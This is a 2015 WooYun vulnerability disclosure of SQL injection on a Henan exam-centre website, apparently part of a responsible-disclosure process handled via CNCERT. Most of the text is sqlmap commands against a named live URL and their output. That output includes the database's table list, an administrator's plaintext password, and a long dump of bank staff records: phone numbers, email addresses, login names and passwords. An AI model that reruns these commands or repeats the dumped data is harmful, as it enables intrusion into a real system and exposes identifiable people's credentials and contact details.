当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121967

漏洞标题:河南省某培训考试服务中心泄漏考试职员敏感信息(身份证、联系方式、地址等)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-06-25 16:13

修复时间:2015-08-13 18:14

公开时间:2015-08-13 18:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-25: 细节已通知厂商并且等待厂商处理中
2015-06-29: 厂商已经确认,细节仅向厂商公开
2015-07-09: 细节向核心白帽子及相关领域专家公开
2015-07-19: 细节向普通白帽子公开
2015-07-29: 细节向实习白帽子公开
2015-08-13: 细节向公众公开

简要描述:

RT

详细说明:

河南省反假货币培训考试服务中心似乎属于中国人民银行郑州中心支行
泄漏考试职员敏感信息(身份证、联系方式、地址等)
泄漏的信息好像都是整个河南省的银行职工的
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --current-user
current user:root@localhost
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --current-db
current database: rmbexam
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --tables -D "rmbexam"
[119 tables]
+------------------------------------+
| 2013_anyang_1_people |
| 2013_anyang_1_people_backup |
| 2013_hebi_1_people |
| 2013_hebi_1_people_backup |
| 2013_jiaozuo_1_people |
| 2013_jiaozuo_1_people_backup |
| 2013_jiyuan_1_people |
| 2013_jiyuan_1_people_backup |
| 2013_luohe_1_people |
| 2013_luoyang_1_people |
| 2013_luoyang_1_people_backup |
| 2013_nanyang_1_people |
| 2013_nanyang_1_people_backup |
| 2013_pingdingshan_1_people |
| 2013_pingdingshan_1_people_backup |
| 2013_puyang_1_people |
| 2013_puyang_1_people_backup |
| 2013_sanmenxia_1_people |
| 2013_sanmenxia_1_people_backup |
| 2013_shangqui_1_people |
| 2013_shangqui_1_people_backup |
| 2013_xinxiang_1_people |
| 2013_xinxiang_1_people_kaochang |
| 2013_xinyang_1_people |
| 2013_xinyang_1_people_backup |
| 2013_xuchang_1_people |
| 2013_xuchang_1_people_kaochang |
| 2013_zhoukou_1_people |
| 2013_zhoukou_1_people_backup |
| 2014_anyang_1_people |
| 2014_hebi_1_people |
| 2014_jiaozuo_1_people |
| 2014_jiaozuo_1_people_2 |
| 2014_jiaozuo_1_people_backup |
| 2014_jiaozuo_2_people |
| 2014_jiyuan_1_people |
| 2014_jiyuan_1_people_backup |
| 2014_jiyuan_1_people_bk2 |
| 2014_jiyuan_2_people |
| 2014_kaifeng_1_people |
| 2014_luohe_1_people |
| 2014_luoyang_1_people |
| 2014_nanyang_1_people |
| 2014_pingdingshan_1_people |
| 2014_puyang_1_people |
| 2014_sanmenxia_1_people |
| 2014_shangqui_1_people |
| 2014_xinxiang_1_people |
| 2014_xinyang_1_people |
| 2014_xuchang_1_people |
| 2014_xuchang_1_people_2 |
| 2014_xuchang_1_people_bup |
| 2014_xuchang_2_people |
| 2014_zhengzhou_2_people |
| 2014_zhoukou_1_people |
| 2014_zhumadian_1_people |
| 2015_anyang_1_people |
| 2015_anyang_1_people_back |
| 2015_hebi_1_people |
| 2015_jiaozuo_1_people |
| 2015_jiyuan_1_people |
| 2015_kaifeng_1_people |
| 2015_luoyang_1_people |
| 2015_nanyang_1_people |
| 2015_nanyang_1_people_back |
| 2015_pingdingshan_1_people |
| 2015_puyang_1_people |
| 2015_sanmenxia_1_people |
| 2015_shangqui_1_people |
| 2015_xinxiang_1_people |
| 2015_xinxiang_1_people_backup |
| 2015_xinyang_1_people |
| 2015_xuchang_1_people |
| 2015_xuchang_1_people_backup |
| 2015_zhengzhou_1_people |
| 2015_zhengzhou_1_people_111 |
| 2015_zhengzhou_1_people_2015_4_8 |
| 2015_zhengzhou_1_people_backup_6_1 |
| 2015_zhengzhou_1_people_bk2 |
| 2015_zhoukou_1_people |
| adminuser |
| bank |
| bank_backup |
| bank_old |
| doctype |
| documents |
| exam |
| examstatus |
| examtemp |
| ly |
| marqureenotice |
| people_anyang |
| people_choujiang |
| people_hebi |
| people_jiaozuo |
| people_jiyuan |
| people_kaifeng |
| people_luoyang |
| people_nanyang |
| people_pingdingshan |
| people_puyang |
| people_sanmenxia |
| people_shangqui |
| people_xinxiang |
| people_xinyang |
| people_xuchang |
| people_zhengzhou |
| people_zhoukou |
| people_zhumadian |
| question |
| question_backup |
| questionanswer |
| region |
| region_old |
| regionbankuser |
| regioncenteruser |
| regionschooluser |
| statusname |
| zz |
+------------------------------------+
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --columns -T "adminuser" -D "rmbexam"
Table: adminuser
[8 columns]
+---------------+-------------+
| Column | Type |
+---------------+-------------+
| userAddress | varchar(50) |
| userEmail | varchar(20) |
| userId | int(11) |
| userLoginName | varchar(20) |
| userPassword | varchar(20) |
| userRealName | varchar(20) |
| userTel | varchar(20) |
| userZipcode | varchar(10) |
+---------------+-------------+
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --dump -C
"userAddress,userEmail,userId,userLoginName,userPassword,userTel,userZipCode" -T "adminuser" -D "rmbexam" -v 0
[1 entry]
+--------+------------------+------------------+------------------+-------------+--------------+---------------+
| userId | userTel | userEmail | userAddress | userZipCode | userPassword | userLoginName |
+--------+------------------+------------------+------------------+-------------+--------------+---------------+
| 1 | 0371-12345678901 | [email protected] | ???????????????? | 450000 | mdlogin1314 | mdexam |
+--------+------------------+------------------+------------------+-------------+--------------+---------------+
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --columns -T "regionbankuser" -D "rmbexam"
Table: regionbankuser
[10 columns]
+---------------+-------------+
| Column | Type |
+---------------+-------------+
| bankId | int(11) |
| regionId | int(11) |
| userAddress | varchar(50) |
| userEmail | varchar(20) |
| userId | int(11) |
| userLoginName | varchar(20) |
| userPassword | varchar(20) |
| userRealName | varchar(20) |
| userTel | varchar(20) |
| userZipcode | varchar(10) |
+---------------+-------------+
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --dump -C
"userAddress,userEmail,userId,userLoginName,userPassword,userTel,userZipCode" -T "regionbankuser" -D "rmbexam" -v 0
| 476300 | 666666 | sqs_ycnxs |
| 182 | 15737027009 | [email protected] | ????????????????????
| 476300 | 666666 | sqs_ycts |
| 183 | 03936952979 | [email protected] | ??????291?????
| 457000 | 666666 | pys_zgyh |
| 184 | 393-6229061 | [email protected] | ????????
| 457400 | 666666 | pys_nlnxs |
| 185 | 18739309257 | [email protected] | ???????444?????9??????
| 457000 | 666666 | pys_pyyh |
| 186 | 13781368055 | [email protected] | ???????080?
| 457300 | 666666 | pys_qfxnxs |
| 187 | 15039390055 | [email protected] | ?????????74????????408
| 457000 | 666666 | pys_jsyh |
| 188 | 15137226309 | [email protected] | ???????????????????????
| 455000 | 666666 | ays_gfyh |
| 189 | 13803935516 | <blank> | ??????199?
| 457000 | 666666 | pys_yzcx |
| 190 | 0370-3051162 | [email protected] | ???????????????002?
| 476600 | 666666 | sqs_ycls |
| 191 | 2239955 | [email protected] | ??????74?9???????
| 476000 | 223995 | sqs_yzcx |
| 192 | 15238561888 | [email protected] | ??????
| 476000 | 666666 | sqs_yzj |
| 193 | 13639681669 | [email protected] | ??????110?
| 457100 | 666666 | pys_pynxs |
| 194 | 15537057155 | [email protected] | ????????????????????
| 476600 | 666666 | sqs_azlbyc |
| 195 | 15139141993 | [email protected] | ????????????299-32?
| 454750 | 666666 | jzs_mzsy |
| 196 | 15083198699 | [email protected] | ????????60??????
| 466000 | 666666 | zks_nxs |
| 197 | 0394-8222434 | [email protected] | ????????26?
| 466000 | 666666 | zks_zkyh |
| 198 | 18603912933 | [email protected] | ?????1736?????
| 454000 | 666666 | jzs_gdyh |
| 199 | 0393-5263049 | [email protected] | ??????????????????????
| 457506 | 666666 | pys_fxnxs |
| 200 | 13938002989 | [email protected] | ???183?
| 458030 | 666666 | hbs_jsyh |
| 201 | 13839288899 | ??? | ????????????141?????
| 457300 | 666666 | pys_nyyh |
| 202 | 13849698279 | [email protected] | ?????????569?
| 476000 | 666666 | sqs_gsyh |
| 203 | 0370-3032088 | [email protected] | ???????????251?
| 476400 | 666666 | sqs_xynxs |
| 204 | 13837299838 | 842567166 | ?????????????73???????
| 455000 | 666666 | ays_gsyh |
| 205 | 13503461269 | [email protected] | ??????????
| 456400 | 666666 | ays_hxnxs |
| 206 | 15993407988 | [email protected] | ???????????????
| 476800 | 666666 | sqs_mqnxs |
| 207 | 13839307820 | <blank> | ??????203??????????????
??? | 457000 | 666666 | pys_gsyh |
| 208 | 0393-4463489 | [email protected] | ?????????335?
| 457000 | 666666 | pys_sqnxs |
| 209 | 13603432156 | [email protected] | ????????????????
| 457000 | 666666 | pys_nyfz |
| 210 | 13938318222 | [email protected] | ??????16?
| 457600 | 666666 | pys_tqnsh |
| 211 | 15082977977 | [email protected] | ??????????148????
| 476000 | 666666 | sqs_jsyh |
| 212 | 13569300968 | <blank> | ???????????
| 476200 | 3159012 | sqs_zcnxs |
| 213 | 15893832186 | [email protected] | ???????688?????A?
| 453002 | 666666 | xxs_nxs |
| 214 | 0373-3666559 | [email protected] | ??????599?
| 453000 | 666666 | xxs_xxyh |
| 215 | 15136753369 | [email protected] | ???????189?????13??????
? | 453000 | 666666 | xxs_yzyh |
| 216 | 13526470815/18037731 | [email protected] | ???????????????????????
| 476800 | 666666 | sqs_mqds |
| 217 | 0373-3048606 | [email protected] | ???????82?
| 453000 | 666666 | xxs_gfyh |
| 218 | 0373-4598684 | [email protected] | ??????155?
| 453800 | 4598684 | xxs_hjxys |
| 219 | 15738011108 | [email protected] | ?????????????????????
| 457199 | 666666 | pys_hycz |
| 220 | 8866525 | [email protected] | ???????62?
| 453400 | 666666 | xxs_cynx |
| 221 | 13782554747 | [email protected] | ?????????
| 453100 | 666666 | xxs_whnx |
| 222 | 13525075724 | [email protected] | ??????443??????
| 453000 | 666666 | xxs_jsyh |
| 223 | 0373-3096562 | [email protected] | ?????????28?
| 453011 | 666666 | xxs_fqnx |
| 224 | 15194505024 | [email protected] | ???????????????37?
| 471600 | 123456 | lys_yynx |
| 225 | 13837379508 | [email protected] | ???????????????????
| 453000 | 666666 | xxs_xxcz |
| 226 | 13569808891 | [email protected] | ?????????
| 453700 | 666666 | xxs_ncxys |
| 227 | 13781919488 | [email protected] | ????????????????????
| 453600 | 666666 | xxs_zjcz |
| 228 | 3051136 | [email protected] | ???????688?????A?24????
?? | 453003 | 666666 | xxs_sqnxs |
| 229 | 15981885711 | [email protected] | ?????????????????
| 454850 | 666666 | jzs_azlb |
| 230 | 13783716353 0373-355 | [email protected] | ??????278?
| 453000 | 666666 | xxs_zzyh |
| 231 | 13839740208 | ??? | ?????????70????????????
| 464000 | 666666 | xys_jsyh |
| 232 | 13783760537 | [email protected] | ?????????
| 464000 | 666666 | xys_shnxs |
| 233 | 13603938789 | ??? | ????418?
| 453003 | 666666 | xxs_nyyh |
| 234 | 13598589992 | [email protected] | ?????????807??
| 464000 | 666666 | xys_yzcx |
| 235 | 18224579988 | [email protected] | ???????????
| 453400 | 666666 | xxs_cyms |
| 236 | 13523767116 | [email protected] | "??????? ??????26????"
| 464100 | 666666 | xys_pqnxs |
| 237 | 13939729996 | [email protected] | ???????????????????????
???? | 464000 | 666666 | xys_nyyh |
| 238 | 13598718756 | [email protected] | ?????????1????????????
| 453000 | 666666 | xxs_zgyh |
| 239 | 6250546 | [email protected] | ??????41?
| 464000 | 666666 | xys_gsyh |
| 240 | 0394-6231103 | [email protected] | ??????????????????????
| 461300 | 666666 | zks_fgnxs |
| 241 | 0394-2532289 | [email protected] | ???????????????????
| 466600 | 666666 | zks_xhnxs |
| 242 | 0394-5446553 | [email protected] | ???????????
| 466100 | 666666 | zks_ssnxs |
| 243 | 13608422537 | [email protected] | ????????
| 461400 | 666666 | zks_tknxs |
| 244 | 15896716168 | [email protected] | ??????100?
| 477200 | 666666 | zks_lynxs |
| 245 | 13939452069 | [email protected] | ????????
| 477150 | 666666 | zks_dcnxs |
| 246 | 13849412006 | [email protected] | ?????????
| 466700 | 666666 | zks_hynxs |
| 247 | 0394-5282838 | [email protected] | ????????????????
| 466399 | 666666 | zks_sqnxs |
| 248 | 13633943860 | [email protected] | ???????4?
| 466201 | 666666 | zks_xcnxs |
| 249 | 13513878881 | [email protected] | ?????????6?????????????
? | 466000 | 666666 | zks_zksq |
| 250 | 13673538700 | [email protected] | ???????????????????????
????? | 453000 | 666666 | xxs_jtyh |
| 251 | 13849899000 | [email protected] | ???????1163?
| 461000 | 666666 | xcs_pfyh |
| 252 | 0374-2332509 | [email protected] | ??????115??????????????
| 461000 | 666666 | xcs_wdns |
| 253 | 0376-6658068 | [email protected]. | ???????????158?
| 464000 | 676695 | xys_zgyh |
| 254 | "0374-2928011? 18103 | [email protected] | ?????????????????
| 461000 | 666666 | xcs_gdyh |
| 255 | 18937459972 | qiong.zhang@bankcomm | ???????114?????????
| 461000 | 666666 | xcs_jtyh |
| 256 | 13937405928 | [email protected] | ???????402????5????
| 461000 | 666666 | xcs_yzcx |
| 257 | 13849232163 | [email protected] | ?????????????????????
| 458030 | 666666 | hbs_nxs |
| 258 | 18503749499 | [email protected] | ?????????????
| 461000 | 666666 | xcs_msyh |
| 259 | 18623809037 | [email protected] | ????????????
| 461000 | x123123 | xcs_xcyh |
| 260 | 0374-2668271/1394984 | ha_xc_ckb/xc/ha/ccb@ | ?????????48???????
| 461000 | hpj2668271 | xcs_jsyh |
| 261 | 0374-7097171 | [email protected] | ????????????????????
| 461000 | 666666 | xcs_lyyh |
| 262 | 13937249667 | [email protected] | 274300512
| ?????????? | 666666 | ays_zyfd |
| 263 | 13803805888 | [email protected] | ??????????
| 453000 | 666666 | xxs_pfyh |
| 264 | 13849595753 | [email protected] | ?????????9?
| 454550 | 666666 | jzs_jncz |
| 265 | 13937013367 | [email protected] | ????????????????
| 476700 | 666666 | sqs_nlls |
| 266 | 18637472666 | [email protected] | ???????????????
| 461000 | 666666 | xcs_xpcz |
| 267 | 13949825559 | [email protected] | ????????????88?
| 461000 | 666666 | xcs_gsyh |
| 268 | 0392-3316337 | [email protected] | ?????????398??????????
| 458030 | 666666 | hbs_hbyh |
| 269 | 0372-6226822 | [email protected] | ????????????????
| 456150 | 666666 | ays_tynxs |
| 271 | 13663735826 | [email protected] | ????????128?
| 453600 | 666666 | xxs_hxns |
| 272 | 15137642790 | [email protected] | ?????????????
| 464000 | 666666 | xys_lyyh |
| 273 | 15037365151 | [email protected] | ??????208?
| 453300 | 31415926 | xxs_fqnxs |
| 274 | 18537315016 | zhaolin_zz@citicbank | ???????681?????
| 453000 | 666666 | xxs_zxyh |
| 275 | 13513976695 0396- | ??? | ???????????????????????
???246? | 463000 | 666666 | zmd_yzcx |
| 276 | 18639369359 | [email protected] | ???????????????????????
???? | 457500 | 666666 | pys_fxds |
| 277 | 13938647777 | [email protected] | ???????33?????????????
| 475000 | 666666 | kfs_yzcx |
| 278 | 15993371870 | [email protected] | ????????????15?
| 475300 | 666666 | kfs_lknxs |
| 279 | 0371-27559618 | [email protected] | ????????????
| 475500 | 666666 | kfs_wshy |
| 280 | 23669112 | [email protected] | ??????????????????50?
| 475000 | 666666 | kfs_jtyh |
| 281 | 15343782518 | [email protected] | ????????75?
| 475400 | 666666 | kfs_txnxs |
| 282 | 13937882281 | [email protected] | ??????201?
| 475004 | 666666 | kfs_bjns |
| 283 | 13837866616 | [email protected] | ??????????????
| 475000 | 666666 | kfs_kfyh |
| 284 | 0371-26662277?266658 | [email protected] | ??????????????
| 475100 | 666666 | kfs_kfnxs |
| 285 | 0373-7623256 | yjlscwk@163 | ????????289?
| 453200 | 666666 | xxs_yjnxs |
| 286 | 0371-25588528 | [email protected] | ??????????388?????
| 475000 | 666666 | kfs_pfyh |
| 287 | 15637810849 | [email protected] | ???????2?
| 475100 | 666666 | kfs_xdf |
| 288 | 18737239590 | [email protected] | ???????????????
| 456550 | 666666 | ays_lzdf |
| 289 | 18739216668 | [email protected] | ?????30?
| 456750 | 666666 | hbs_qxls |
| 290 | 15039782186 | [email protected] | ????????348?
| 464000 | 666666 | xys_msyh |
| 291 | 15940870603 | [email protected] | ????????
| 455000 | 666666 | ays_jljr |
| 292 | 15837808089 | [email protected] | ???????33???????????
| 475000 | 666666 | kfs_jsyh |
| 293 | 15936155552 | [email protected] | ???????????????????????
| 473000 | 900112 | nys_pdsyh |
| 294 | 0396-2112073 | [email protected] | ???????188?
| 463000 | 666666 | zmd_zgyh |
| 295 | 13781157722 | [email protected] | ??????88?
| 475000 | 666666 | kfs_gsyh |
| 296 | 0373-3833061 | [email protected] | ??????????88?
| 453000 | 666666 | xxs_gsyh |
| 297 | 0392-3313220 | [email protected] | ???????235?
| 458030 | 666666 | hbs_gsyh |
| 298 | 15037868956 | [email protected] | ???????????????
| 475300 | 666666 | kfs_azlblk |
| 299 | 13903789585 | [email protected] | ????????59?
| 475006 | 666666 | kfs_zgyh |
| 300 | 15839614956 | [email protected] | ????????????????????
| 463900 | 666666 | zmd_xpls |
| 301 | 0396-5021933 | [email protected] | ???????????
| 463400 | 666666 | zmd_pyls |
| 302 | 0396-7013571 | [email protected] | ??????????203?????????
| 463200 | 666666 | zmd_qsns |
| 303 | 0396-8030088 | [email protected] | ??????????????
| 463300 | 666666 | zmd_rnls |
| 304 | 13598035232 | [email protected] | ???????????????????????
| 455000 | 666666 | ays_zzyh |
| 305 | 13683870139 | [email protected] | ?????????????187?
| 463100 | 666666 | zmd_spls |
| 306 | 0391-7277308 | [email protected] | ??????66?
| 454950 | 666666 | jzs_wzczyh |
| 307 | 0396-2865077 | [email protected] | ???????????168?????????
?????? | 463000 | 666666 | zmd_zmdyh |
| 308 | 5975668 | ??? | ????????????????
| 463500 | 666666 | zmd_xcls |
| 309 | 13513866196 | [email protected] | ?????????????7????
| 463300 | 666666 | zmd_jsyh |
| 310 | 3550338 | 407569594?qq.com | ??????899?
| 454000 | 666666 | jzs_nyfzyh |
| 311 | 13949439980 | [email protected] | ????????
| 475201 | 666666 | kfs_qxls |
| 313 | 15268267017 | [email protected] | ??????????????????????
| 457600 | 666666 | pys_tqds |
| 315 | 13598906318 | [email protected] | ?????????
| 463700 | 666666 | zmd_byls |
| 316 | 13839634888 | [email protected] | ??????360?
| 463000 | 666666 | zmd_ycls |
| 317 | 13703965627 | zhanghuafeng666@sohu | ??????????????????
| 463000 | 666666 | zmd_nyyh |
| 318 | 18238892083 | [email protected] | ???????????95?
| 471400 | 666666 | lys_sxls |
| 319 | 18037766960 | [email protected] | ?????????????????????
| 476900 | 666666 | sqs_hxds |
| 320 | 15516665222 | [email protected] | ????????61?
| 456250 | 666666 | hbs_jxls |
| 321 | 13939638760 | [email protected] | ????????????222?
| 463600 | 666666 | zmd_zysh |
| 322 | 13838897504 | [email protected] | ???????29?
| 471200 | 666666 | lys_rynxs |
| 323 | 13939978669 | [email protected] | ??????????
| 455000 | 666666 | ays_ayxnx |
| 324 | 0396-2801703 | ??? | ?????????
| 463000 | 666666 | zmd_gsyh |
| 325 | 68883502 | [email protected] | ?????????????37?
| 471600 | 666666 | lys_yyls |
| 326 | 0374-3338897 | [email protected] | ??????1488?
| 461000 | 666666 | xcs_zgyh |
| 327 | 03766199613 | [email protected] | ?????????????????????
| 464000 | 6199613 | xys_zjcz |
| 328 | 18937028968 | [email protected] | ??????????????305??????
??????? | 476700 | 666666 | sqs_nlds |
| 329 | 0391-6838935 | [email protected] | ??????????435? | 459000 | 666666 | jys_jtyh |
| 330 | 15981955385 | [email protected] | ???????????????????? | 451450 | 666666 | zzs_zmzy |
+--------+----------------------+----------------------+-----------------------------------+-------------+-------------
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --columns -T "people_xinyang" -D "rmbexam"
Table: people_xinyang
[23 columns]
+------------------+-------------+
| Column | Type |
+------------------+-------------+
| bankCode | varchar(30) |
| bankCodeInternal | varchar(20) |
| examId | int(11) |
| pBank | varchar(50) |
| pCurrency | varchar(20) |
| pDepartment | varchar(50) |
| pEmail | varchar(30) |
| pExamNum | varchar(20) |
| pId | int(11) |
| pIdcard | varchar(18) |
| pLLexamDateTime | varchar(20) |
| pName | varchar(20) |
| pNum | varchar(20) |
| pPosition | varchar(20) |
| pRegisterConfirm | int(11) |
| pSCexamDate | varchar(20) |
| pSCexamTime | varchar(20) |
| pSex | varchar(6) |
| pTel | varchar(20) |
| pWeiji | varchar(20) |
| regionId | int(11) |
| scoreLL | varchar(20) |
| scoreSC | varchar(20) |
+------------------+-------------+
sqlmap.py -u http://www.hnpbcexam.cn/docDetail.php?docId=33 --dbms "Mysql" --dump -C
"pBank,pCurrency,pDepartment,pEmail,pIdcard,pName,pSex,pTel,scoreSC" -T "people_xinyang" -D "rmbexam" -v 0

1.png


2.png


3.png


4.png


5.png


6.png


7.png


8.png


9.png

漏洞证明:

9.png

修复方案:

对参数进行过滤,进行防注入

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-06-29 18:13

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给河南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无